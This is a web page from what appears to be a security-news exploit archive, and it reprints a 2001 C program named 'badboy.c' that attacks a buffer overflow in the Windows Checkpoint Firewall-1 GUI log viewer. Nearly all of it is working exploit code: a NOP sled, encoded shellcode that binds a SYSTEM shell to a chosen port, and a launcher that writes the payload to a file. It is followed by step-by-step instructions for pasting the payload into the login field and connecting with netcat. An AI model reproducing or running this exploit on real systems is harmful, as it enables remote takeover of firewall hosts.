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First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Exploit: /* badboy.c - Win32 Checkpoint Firewall-1 overflow exploit by Indigo <indig0@talk21.com> 2001     Usage: badboy <victim port>     The shellcode spawns a shell on the chosen port     Main shellcode adapted from code written by izan@deepzone.org     Greets to:     Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting D-Niderlunds */ #include <windows.h> #include <stdio.h> int main(int argc, char **argv) { unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\xCC\x2B\x16\xEA\x77\x90\x90\xEB\x05\x4A\xD5" "\xEC\x77\x90\x90\x90\x90\x90\x66\x81\xE9\x5B\x29\x31\xDB\xB8\x99" "\x99\x99\x99\x31\x01\x83\xC1\x04\x83\xC3\x04\x66\x81\xFB\xC0\x04" "\x7E\xF1\x66\x81\xE9\x4E\x01\x31\xC0\x40\x29\x01\x90\x90\x90\x71" "\x99\x99\x99\x99\xC4\x18\x74\x40\xB8\xD9\x99\x14\x2C\x6B\xBD\xD9" "\x99\x14\x24\x63\xBD\xD9\x99\xF3\x9E\x09\x09\x09\x09\xC0\x71\x4B" "\x9B\x99\x99\x14\x2C\xB3\xBC\xD9\x99\x14\x24\xAA\xBC\xD9\x99\xF3" "\x93\x09\x09\x09\x09\xC0\x71\x23\x9B\x99\x99\xF3\x99\x14\x2C\x40" "\xBC\xD9\x99\xCF\x14\x2C\x7C\xBC\xD9\x99\xCF\x14\x2C\x70\xBC\xD9" "\x99\xCF\x66\x0C\xAA\xBC\xD9\x99\xF3\x99\x14\x2C\x40\xBC\xD9\x99" "\xCF\x14\x2C\x74\xBC\xD9\x99\xCF\x14\x2C\x68\xBC\xD9\x99\xCF\x66" "\x0C\xAA\xBC\xD9\x99\x5E\x1C\x6C\xBC\xD9\x99\xDD\x99\x99\x99\x14" "\x2C\x6C\xBC\xD9\x99\xCF\x66\x0C\xAE\xBC\xD9\x99\x14\x2C\xB4\xBF" "\xD9\x99\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\xA8\xBF\xD9\x99" "\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\x68\xBC\xD9\x99\x14\x24" "\xB4\xBF\xD9\x99\x3C\x14\x2C\x7C\xBC\xD9\x99\x34\x14\x24\xA8\xBF" "\xD9\x99\x32\x14\x24\xAC\xBF\xD9\x99\x32\x5E\x1C\xBC\xBF\xD9\x99" "\x99\x99\x99\x99\x5E\x1C\xB8\xBF\xD9\x99\x98\x98\x99\x99\x14\x2C" "\xA0\xBF\xD9\x99\xCF\x14\x2C\x6C\xBC\xD9\x99\xCF\xF3\x99\xF3\x99" "\xF3\x89\xF3\x98\xF3\x99\xF3\x99\x14\x2C\xD0\xBF\xD9\x99\xCF\xF3" "\x99\x66\x0C\xA2\xBC\xD9\x99\xF1\x99\xB9\x99\x99\x09\xF1\x99\x9B" "\x99\x99\x66\x0C\xDA\xBC\xD9\x99\x10\x1C\xC8\xBF\xD9\x99\xAA\x59" "\xC9\xD9\xC9\xD9\xC9\x66\x0C\x63\xBD\xD9\x99\xC9\xC2\xF3\x89\x14" "\x2C\x50\xBC\xD9\x99\xCF\xCA\x66\x0C\x67\xBD\xD9\x99\xF3\x9A\xCA" "\x66\x0C\x9B\xBC\xD9\x99\x14\x2C\xCC\xBF\xD9\x99\xCF\x14\x2C\x50" "\xBC\xD9\x99\xCF\xCA\x66\x0C\x9F\xBC\xD9\x99\x14\x24\xC0\xBF\xD9" "\x99\x32\xAA\x59\xC9\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14" "\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66" "\x0C\xD6\xBC\xD9\x99\x72\xD4\x09\x09\x09\xAA\x59\xC9\x14\x24\xFC" "\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66" "\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x1A\x24\xFC" "\xBF\xD9\x99\x9B\x96\x1B\x8E\x98\x99\x99\x18\x24\xFC\xBF\xD9\x99" "\x98\xB9\x99\x99\xEB\x97\x09\x09\x09\x09\x5E\x1C\xFC\xBF\xD9\x99" "\x99\xB9\x99\x99\xF3\x99\x12\x1C\xFC\xBF\xD9\x99\x14\x24\xFC\xBF" "\xD9\x99\xCE\xC9\x12\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9" "\x99\x34\xC9\x66\x0C\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9" "\x99\x12\x1C\xFC\xBF\xD9\x99\xF3\x99\xC9\x14\x2C\xC8\xBF\xD9\x99" "\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x93\xBC\xD9\x99" "\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xF3\x99\xF3\x99\xF3\x99\x14" "\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66" "\x0C\xD6\xBC\xD9\x99\xAA\x50\xA0\x14\xFC\xBF\xD9\x99\x96\x1E\xFE" "\x66\x66\x66\xF3\x99\xF1\x99\xB9\x99\x99\x09\x14\x2C\xC8\xBF\xD9" "\x99\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x97\xBC\xD9" "\x99\x10\x1C\xF8\xBF\xD9\x99\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE" "\xC9\x14\x2C\xC8\xBF\xD9\x99\x34\xC9\x14\x2C\x74\xBC\xD9\x99\x34" "\xC9\x66\x0C\xD2\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\xF3" "\x99\x12\x1C\xF8\xBF\xD9\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\x12" "\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C" "\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x70\x20\x67\x66" "\x66\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\x14" "\x2C\xC4\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\xF3\x99\x66" "\x0C\xCE\xBC\xD9\x99\xC8\xCF\xF1\xED\xDC\x16\x99\x09\xC3\x66\x8B" "\xC9\xC2\xC0\xCE\xC7\xC8\xCF\xCA\xF1\xE1\xDC\x16\x99\x09\xC3\x66" "\x8B\xC9\x35\x1D\x59\xEC\x62\xC1\x32\xC0\x7B\x70\x5A\xCE\xCA\xD6" "\xDA\xD2\xAA\xAB\x99\xEA\xF6\xFA\xF2\xFC\xED\x99\xFB\xF0\xF7\xFD" "\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99\xEA" "\xFC\xF7\xFD\x99\xEB\xFC\xFA\xEF\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6" "\xFA\xF2\xFC\xED\x99\xD2\xDC\xCB\xD7\xDC\xD5\xAA\xAB\x99\xDA\xEB" "\xFC\xF8\xED\xFC\xC9\xF0\xE9\xFC\x99\xDE\xFC\xED\xCA\xED\xF8\xEB" "\xED\xEC\xE9\xD0\xF7\xFE\xF6\xD8\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9" "\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xC9\xFC\xFC\xF2\xD7\xF8\xF4\xFC" "\xFD\xC9\xF0\xE9\xFC\x99\xDE\xF5\xF6\xFB\xF8\xF5\xD8\xF5\xF5\xF6" "\xFA\x99\xCB\xFC\xF8\xFD\xDF\xF0\xF5\xFC\x99\xCE\xEB\xF0\xED\xFC" "\xDF\xF0\xF5\xFC\x99\xCA\xF5\xFC\xFC\xE9\x99\xDA\xF5\xF6\xEA\xFC" "\xD1\xF8\xF7\xFD\xF5\xFC\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC" "\xEA\xEA\x99\xDA\xF6\xFD\xFC\xFD\xB9\xFB\xE0\xB9\xE5\xC3\xF8\xF7" "\xB9\xA5\xF0\xE3\xF8\xF7\xD9\xFD\xFC\xFC\xE9\xE3\xF6\xF7\xFC\xB7" "\xF6\xEB\xFE\xA7\x9B\x99\x86\xD1\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\xDA\xD4\xDD\xB7\xDC\xC1\xDC\x99\x99\x99\x99\x99" "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x90\x90\x90\x90\x90\x00"; FILE *fp; unsigned short int a_port; printf ("\nFirewall-1 buffer overflow launcher\nby Indigo <indig0@talk21.com> 2001\n\n"); printf ("To perform this exploit you must attack from a valid GUI client machine\n"); printf ("i.e. your IP address must be contained in the $FWDIR/conf/gui-clients file\n"); printf ("This program will create a binary file called exploit.bin\n"); printf ("First open the Firewall-1 GUI log viewer program then enter\nthe victim IP address in the Management Server field\n"); printf ("and a few random characters in the password field,\n"); printf ("open badboy.bin in notepad, highlight it all then copy it to the clipboard.\n"); printf ("Paste it into the User Name field of the GUI log viewer then click OK.\n\n"); printf ("Launch netcat: nc <victim host> <victim port>\n"); printf ("\nThe exploit spawns a SYSTEM shell on the chosen port\n\n"); if (argc != 2) { printf ("Usage: %s <victim port>\n", argv[0]); exit (0); } a_port = htons(atoi(argv[1])); a_port^= 0x9999;         shellcode[1567]= (a_port) & 0xff; shellcode[1568]= (a_port >> 8) & 0xff; fp = fopen ("./exploit.bin","wb"); fputs (shellcode,fp); fclose (fp); return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local 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